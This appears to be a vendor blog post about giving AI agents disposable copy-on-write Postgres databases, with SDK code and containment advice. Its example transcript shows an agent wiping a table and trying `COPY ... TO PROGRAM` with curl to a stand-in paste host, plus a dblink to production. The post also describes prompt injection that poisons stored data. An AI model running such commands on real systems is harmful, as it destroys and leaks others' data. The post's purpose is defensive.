Ephemeral Databases for AI Agents

Give an agent a `run_sql` tool and it will use it. That is the point of the tool, and it is also the whole problem: the statements that come back are written by a model, aimed at whatever database you pointed the tool at, and executed before any human reads them. The gap between "the agent can query our data" and "the agent can rewrite our data" is one word in a tool description and one hallucinated `WHERE` clause. Most teams close that gap by pointing the tool at staging, which is to say they close it by hoping.

My position — and I'll flag where it's opinion rather than fact — is that any agent allowed to emit SQL should be pointed at a database that exists only for that task and is deleted when the task ends. Not a read replica, not a schema in staging with a polite naming convention, not staging-with-a-read-only-role. A throwaway database: real Postgres, real schema, realistic data, no future. This post is the category-level guide to that pattern for agents specifically — the failure modes it prevents, the three ways teams actually provision scratch databases, why copy-on-write branching is the one that survives contact with agent-speed loops, and how to wire it into a tool loop without handing the model the keys. The CI/pull-request version of the same idea lives in the per-PR ephemeral database post; the migration-testing version lives in testing LLM-generated migrations. This one is about agents at runtime.

Four ways an agent breaks a database you care about

These aren't hypotheticals I invented for a blog post. They're the four shapes I keep seeing when people describe why they pulled their agent's database access back to read-only, and each one fails differently.

1. The confident destructive migration

You ask an agent to add a column and backfill it. It decides the cleanest path is to rewrite the table. It emits a migration that drops a constraint, rebuilds an index, and takes an `ACCESS EXCLUSIVE` lock on your busiest table for four minutes. Nothing about that is malicious and nothing about it is even obviously wrong on a small table — it's just a plan that a senior engineer would have vetoed on sight and the agent had no way to price. The specific mechanics of testing model-written schema changes are their own post; the point here is that the blast radius is decided by which database the tool was pointed at, not by how good the migration was.

2. The "just try it" DELETE

This is the one that scares me most, because it doesn't come from the agent doing something exotic. It comes from the agent debugging. A query returns rows it didn't expect, so it clears them and retries. A unique constraint fires, so it deletes the conflicting row. A job is stuck, so it truncates the queue table. Every one of those is a reasonable move by a junior engineer with a local database and a catastrophic one against shared state. Agents are structurally junior in exactly this way: they optimise for making the current step succeed, and "delete the thing that's in the way" always makes the current step succeed.

3. Poisoned data from a source the agent read

An agent that scrapes a page, parses an email, or ingests a document and then writes what it found into a database has just given an outside party a write path into your data. If that source was prompt-injected, the injection is now a row. Worse, it's a durable row: the next agent run reads it back as trusted context, because data from your own database doesn't look like untrusted input to anyone's retrieval layer. A shared database turns a one-shot injection into a persistent one. A per-task database that's deleted at the end of the task doesn't — the poisoned row dies with the VM, and nothing is promoted to the real database without passing through a diff a human or a stricter validator actually looks at.

4. Concurrent agents fighting over one database

The moment you run more than one agent — a swarm, an eval sweep, five users of your product at once — a shared scratch database becomes a correctness bug generator. Agent A inserts a test customer; agent B's `SELECT count(*)` returns a number that doesn't match its own plan; agent B "fixes" the discrepancy by deleting rows agent A was mid-way through using. You get non-deterministic agent behaviour that is impossible to reproduce, because the input that varied wasn't the prompt or the model — it was the other agent. This alone kills evals: you cannot compare two runs of an agent against a database that a third run is mutating.

Why the obvious mitigations don't hold

Before the provisioning options, it's worth being explicit about the two things people reach for first, because both are genuinely reasonable and both stop short.

A read-only role is the first instinct, and it does close the destructive-write failure modes. But it also removes most of what makes a database useful to an agent: it can't create a temp table to stage its own work, can't test a migration, can't build the thing you asked it to build. So teams grant write access to "just the agent's tables", which works until the agent needs a join, and then the boundary erodes one grant at a time. Read-only is a good default for analytics agents that genuinely only read. It is not a solution for agents that build things — it's a decision not to let them.

Statement filtering — a regex or a SQL parser that rejects `DROP`, `TRUNCATE`, and unqualified `DELETE` — is the second instinct, and I think it's actively dangerous, because it creates confidence out of proportion to what it buys. `DELETE FROM orders WHERE 1=1` passes a naive filter. So does an `UPDATE` that sets every row's `status` to the same value. So does a `CREATE OR REPLACE FUNCTION` that does the damage on the next call. A filter is a useful seatbelt on top of isolation; it is not isolation. If your only answer to "what happens when the model writes something catastrophic" is "the filter catches it," you have a filter, not a boundary.

Three ways teams get a scratch database

Assume you've accepted that the agent needs its own database. There are three real ways to give it one, and they differ in isolation, provisioning cost, and how honestly they reproduce production. I've used all three.

• Template restore — keep a `pg_dump` (or a schema file plus fixtures) and restore it into a fresh database for each task. Pro: dead simple, works against any Postgres you already run, and the dump is a plain artifact you can version alongside your code. Con: restore time scales with data size, so the pattern quietly stops working as your fixtures get realistic — a 2 GB dump is minutes per task, and "realistic data" and "fast provisioning" pull in opposite directions forever.
• Schema-per-agent in one shared instance — give each task its own schema in a shared Postgres and set `search_path`. Pro: provisioning is a `CREATE SCHEMA`, which is milliseconds, and one instance serves hundreds of tasks cheaply. Con: the isolation is a naming convention. A model that writes a fully-qualified table name, or a `pg_catalog` query, or a `DROP SCHEMA` with the wrong identifier, walks straight out of it. You also share one buffer pool, one connection limit, one WAL, and one crash — a runaway agent query degrades every other agent on the box.
• A real database instance per agent — each task gets its own Postgres process, its own storage, its own kernel if you go as far as a microVM. Pro: the isolation is structural rather than conventional; a destructive statement can't reach past the instance boundary because there's nothing on the other side of it, and noisy-neighbour effects disappear. Con: provisioning a real database is the expensive option — a managed PandaStack Postgres create is 30-90 seconds, because it blocks until Postgres has genuinely bootstrapped.

My honest read: schema-per-agent is fine when the agent is your own code doing constrained work, and it is not fine when the SQL is model-written, because the isolation is only as strong as the model's willingness to stay inside a `search_path`. That's a strange thing to bet a production database on. Template restore is fine until your fixtures get big enough to matter, which is the same moment they get useful enough to matter. Which leaves a real instance per task — and the only thing wrong with it is the provisioning cost.

Why copy-on-write branching beats a dump-and-restore loop

Here's the thing about provisioning cost in an agent loop specifically: it lands inside a latency budget that a human is watching. In CI, a 90-second database create disappears into a build that takes six minutes anyway. In an agent turn, 90 seconds is the entire interaction. Users who will happily wait for a model to think will not wait for your infrastructure to think, and worse, a slow provision pushes you straight back toward reuse — you start caching one scratch database across tasks, and you've reinvented shared staging with extra steps.

The structural fix is the same one that makes per-PR databases work: stop re-computing a constant. The state every task starts from — schema at head, seed data loaded, Postgres up and warm — is identical for every task. Build it once into a golden snapshot, then branch it copy-on-write per task instead of restoring a dump per task. PandaStack runs each managed Postgres as its own Firecracker microVM, so branching is a VM fork: it reflinks the disk and restores the machine rather than booting Postgres and replaying a dump. A same-host fork lands in roughly 400-750ms (cross-host 1.2-3.5s), which is inside an agent's turn rather than in place of it.

Two properties matter more than the raw number. First, fork time is roughly independent of how much data is in the database, because copy-on-write shares pages until something writes to them — so realistic 10 GB fixtures branch about as fast as a toy schema, and the "realistic data vs. fast provisioning" tradeoff that kills the dump-restore loop simply isn't there. Second, the fork inherits a Postgres that's already running, so you skip bootstrap entirely. The mechanics of how that works at the page level are in database branching with copy-on-write microVMs, and the seeding side — what to actually put in the golden state and how to anonymise it — is in getting realistic test data into ephemeral databases. I'd rather link than repeat them.

Wiring it to an agent as a tool

The provisioning is the easy half. The half people get wrong is the tool boundary: which parts of this the model gets to decide. My rule is that the model decides what SQL to run and nothing else. It does not choose the database, doesn't see the connection string, doesn't get the credentials in its context, and can't retarget the tool. The harness holds the DSN in a closure and the tool schema exposes exactly one field.

Concretely, with the PandaStack Python SDK — fork the golden Postgres per task, bind the DSN, hand the model a single-argument tool, tear the VM down in a `finally` so a crashed agent still cleans up:

import os
import json
import contextlib

import psycopg
from pandastack import Client

ps = Client()  # reads PANDASTACK_API_KEY

# A postgres-16 sandbox you built once: schema at head, anonymised seed
# data loaded, then snapshotted. Every agent task forks THIS, never prod.
GOLDEN = os.environ["AGENT_GOLDEN_DB_SANDBOX"]
GOLDEN_PW = os.environ["AGENT_GOLDEN_DB_PASSWORD"]  # baked into the golden


@contextlib.contextmanager
def scratch_db(task_id: str, ttl_seconds: int = 900):
    """One throwaway Postgres per agent task. Copy-on-write fork of the
    golden snapshot: same-host lands in roughly 400-750ms, so the agent
    waits about as long as it waits for one model token stream to start."""
    sb = ps.sandboxes.fork(
        GOLDEN,
        metadata={"kind": "agent-scratch-db", "task": task_id},
    )
    # Backstop reaper: if this process dies mid-task, the VM still goes away.
    sb.set_ttl(ttl_seconds)
    dsn = (
        f"postgres://pandastack:{GOLDEN_PW}@{sb.id}.db.pandastack.ai"
        f":5432/pandastack?sslmode=require"
    )
    try:
        yield dsn
    finally:
        ps.sandboxes.delete(sb.id)  # teardown IS the rollback


# --- The tool the model actually sees. Note what is NOT in the schema:
#     the connection string. The model gets to write SQL; it does not get
#     to choose which database the SQL runs against. ---
SQL_TOOL = {
    "name": "run_sql",
    "description": (
        "Run a SQL statement against the scratch database for this task. "
        "The database is a disposable copy; destructive statements are safe."
    ),
    "input_schema": {
        "type": "object",
        "properties": {"sql": {"type": "string"}},
        "required": ["sql"],
    },
}


def make_run_sql(dsn: str):
    """Bind the DSN in a closure. The harness holds it; the model never
    sees it, never logs it, and can't point the tool somewhere else."""

    def run_sql(sql: str) -> str:
        with psycopg.connect(dsn, connect_timeout=10) as conn:
            conn.autocommit = True
            with conn.cursor() as cur:
                cur.execute(sql)          # yes, whatever the model wrote
                if cur.description is None:
                    return f"{cur.statusmessage}"
                rows = cur.fetchmany(200)  # cap what comes back into context
                return json.dumps(rows, default=str)

    return run_sql


# --- One task, one database, torn down whether the agent succeeds or not. ---
with scratch_db(task_id="reconcile-refunds-8812") as dsn:
    run_sql = make_run_sql(dsn)
    agent.run(                      # your framework's loop
        goal="Find refunds double-counted in July and write the fix.",
        tools={SQL_TOOL["name"]: run_sql},
    )
# VM deleted here. Nothing the agent did survives into the next task.

Three details in there are doing real work. The `set_ttl` call is a backstop reaper: your `finally` handles the normal path, and the TTL handles the case where your process gets OOM-killed halfway through a task, which is the case that actually leaks databases. The `fetchmany(200)` cap keeps a `SELECT *` on a million-row table from detonating the model's context window — an agent that asks for everything will get everything unless you decide otherwise. And the tool schema has one property. If `dsn` or `database` were fields on that schema, everything above would be theatre, because a prompt-injected page could tell the agent which database to point at.

What containment actually looks like

It's worth seeing the bad case play out, because the whole argument rests on the destructive statement being boring rather than prevented. Here's a session against a scratch database, with the statement an agent actually emitted while debugging a stuck queue:

$ psql "$AGENT_SCRATCH_DSN"
psql (16.4)
SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384)

-- The agent's plan step said "let me just clear the stuck rows and retry."
-- This is the statement it emitted. No human saw it before it ran.
pandastack=> DELETE FROM orders WHERE status = 'pending' OR TRUE;
DELETE 184203

-- 184,203 rows gone in 40ms. On staging this is an incident and a Slack
-- thread. Here it is a Tuesday: the rows were a copy, and this VM has
-- eleven minutes left on its TTL.

-- The agent, now confused by its own damage, tries to "check the real data":
pandastack=> COPY orders TO PROGRAM 'curl -X POST https://paste.example/ -d @-';
ERROR:  permission denied to COPY to or from an external program
DETAIL:  Only roles with privileges of the "pg_execute_server_program" role
         may COPY to or from an external program.

-- And there is no route out of the guest to reach anything else anyway:
pandastack=> \q
$ psql "$AGENT_SCRATCH_DSN" -c "SELECT dblink_connect('host=prod-db ...')"
ERROR:  function dblink_connect(unknown) does not exist

-- Teardown is the rollback. Delete the VM, fork the golden again, and the
-- next task starts from the same known state as if none of this happened.
$ pandastack sandboxes delete "$SCRATCH_ID"
$ psql "$(fork_golden)" -c "SELECT count(*) FROM orders;"
 count
--------
 184203
(1 row)

Nothing in that transcript stopped the `DELETE`. That's deliberate — I don't want a system that depends on catching the bad statement, because I don't believe anyone can enumerate the bad statements. What the transcript shows instead is that the bad statement had nowhere to land: the rows were a branch, the escape hatches out of Postgres (`COPY TO PROGRAM`, `dblink`) aren't available to a non-superuser role in a database that doesn't have the extension, and the recovery path is deleting a VM rather than restoring a backup. Rollback correctness stops being a thing you hope your down-migration got right and becomes a thing the platform does by forgetting.

Lifecycle: TTLs, reaping, and the cost of a leak

Ephemeral databases are only cheap if they're actually ephemeral. The failure mode of this whole pattern isn't a security incident, it's a bill: agent tasks that crash before their cleanup runs, each leaving a live Postgres VM behind, accumulating quietly for a month until someone opens the invoice. I've watched this happen on our own infrastructure, which is why I'm confident about the fix.

Do the arithmetic once and the discipline follows. PandaStack bills memory at $0.0162 per GiB-hour, so one leaked 4 GiB scratch database left running for thirty days is 4 x 0.0162 x 720, about $46. That's a rounding error. Two hundred of them, which is what a month of a crashy agent loop at moderate volume produces, is about $9,300 for databases nobody has opened since the day they were created. The individual leak is invisible; the aggregate is the whole problem.

• Set a TTL at create time, always. Pick something a little longer than your worst realistic task — 15 minutes for interactive agents, an hour for long-running batch work — and treat it as a backstop, not as your cleanup strategy. The explicit delete in a `finally` is the cleanup strategy; the TTL is what covers the process that never reached its `finally`.
• Tag every database with the task that owns it. Metadata like `{"kind": "agent-scratch-db", "task": task_id}` is what makes a sweep possible later: you can list everything whose task is no longer running and reap it, which you cannot do if the databases are anonymous.
• Run a janitor on a schedule, and make it boring. A cron that lists scratch databases older than N hours and deletes them costs nothing to run and catches every leak class at once, including the ones you didn't anticipate. Ours has never found nothing.
• Let idle databases suspend. PandaStack auto-suspends an idle managed Postgres and wakes it on connect, so a database that's technically alive but unused between agent turns isn't burning committed memory the whole time. That's a real cost floor reduction for bursty agent workloads, but it is not a substitute for deleting things — a suspended database you never delete is still a database you're managing forever.
• Alert on count, not on cost. "More than N scratch databases exist right now" fires days before the invoice does, and the number is one you can reason about.

Scoping credentials and limiting egress

Isolation at the database level handles the agent breaking things. Two more boundaries handle the agent reaching things, and the distinction matters: a scratch database stops the agent from destroying production data, but on its own it does nothing to stop the agent from connecting to production and reading it.

On credentials, the rule is that a scratch database's credentials should be worth nothing. They're minted per task or inherited from a golden snapshot that has never held a real secret, they only work against that one database, and they die with it. Concretely: don't bake production credentials into the golden image and then wonder why every fork carries them; the fork inherits whatever the golden knew. If you need to rotate the credentials on a long-lived database, PandaStack's managed Postgres has a synchronous reset that swaps the password and disconnects every existing client, but the better arrangement is not needing to rotate because the credential's lifetime is one task. Connections are TLS-required either way, which matters more than it sounds when the DSN is being passed between processes in your harness.

On egress, this is the boundary I'd put last and defend hardest: the agent's sandbox should not be able to reach your production network at all. Not "has no credentials for it" — cannot route to it. Credential scoping fails open in ways that are hard to see (a config file the agent found, an env var your harness leaked, a URL in a scraped page that happens to contain a token), and every one of those failures is stopped cold by a network path that doesn't exist. Each PandaStack sandbox runs in its own network namespace with its own routing, which is what makes an actual egress policy possible rather than aspirational. I've written the longer version in controlling network egress for untrusted code; the short version is that a scratch database plus unrestricted egress is a solved problem next to an unsolved one.

When you don't need this

This is infrastructure, and infrastructure you don't need is a liability. Skip it when:

• The agent genuinely only reads. If it answers questions against an analytics replica and has no write path anywhere, a read-only role on that replica is the right amount of machinery. Watch for scope creep — the day someone adds "and create a summary table", you're back here.
• There's exactly one agent and one human, and they're the same person. A developer running an agent against their own local Postgres has isolation already: it's their machine, their data, their problem. The pattern earns its keep at concurrency, multi-tenancy, or when the data belongs to someone else.
• Your data is small and your fixtures are trivial. If the whole database is a schema file and 40 rows, `CREATE DATABASE` plus a restore takes half a second and the branching machinery buys you nothing. Revisit when the fixtures get realistic — that's the crossover point, and it arrives sooner than people expect.

But if you're running agents that write SQL, on data that belongs to customers, more than one at a time — which is the normal shape of a product that has an agent in it — then the shared database is the load-bearing assumption in your architecture that nobody has stress-tested. Give each task its own. Branch it from a golden snapshot so it's fast enough that nobody's tempted to reuse one. Put a TTL on it because your cleanup code will not always run. Hold the connection string in your harness, not in the model's context. Then let the agent write whatever `DELETE` it wants, because the worst it can do is destroy a copy that was going to be deleted in eleven minutes anyway.